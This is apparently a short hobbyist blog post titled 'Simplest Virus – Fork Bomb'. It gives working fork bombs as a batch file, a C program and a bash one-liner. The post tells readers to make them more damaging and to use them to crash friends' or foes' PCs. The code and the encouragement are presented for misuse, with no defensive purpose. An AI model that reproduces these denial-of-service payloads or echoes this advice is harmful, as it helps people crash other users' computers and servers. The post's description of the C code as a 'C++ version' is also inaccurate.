Simplest Virus – Fork Bomb

A virus (as you know) is a piece of code that does something that it shouldn’t. It is a common misconception that you need a vast skill set to make these and that they are extremely complex however in reality they are as simple as sin to make which is why they are so damn annoying.
A Fork bomb is considered to be the smallest writable virus in the batch language and it is capable of being annoying and if launched on a home computer however on a server will probably result in a crash.
A fork bomb creates two instances which each create two instances and so on…The processes recursively fork; this “forks” the processor and jamm it completely until a crash occurs.

Here is how to make it.

Notepad Fork Bomb

Open up notepad and type:

%0|%0

and save it as fork.bat Yep..its a virus of just 5 characters :P .
On double clicking this file,it will lead to total CPU jam by opening about 500+ process of command prompt.

C Fork Bomb

Here is a in C++ version of Fork bomb.

#include <unistd.h> int main(void) {   while(1)     fork();   return 0; }

Shell Script Fork Bomb

And a shell (Unix/bash) version.

: (){ : |:& };:

Once a successful fork bomb has activated in a system, one may have to reboot to resume normal operation. Stopping a fork bomb requires destroying all running instances of it. Trying to use a program to kill the rogue processes normally requires creating another process a difficult or impossible task as it will totally use memory for its instances.
You can get creative and try to use program executables or call system applications or utilities recursively in the same manner and increase the damage manifolds. Let your creativity run loose.
Use it for crashing your friends/foe’s PC :P
Cheers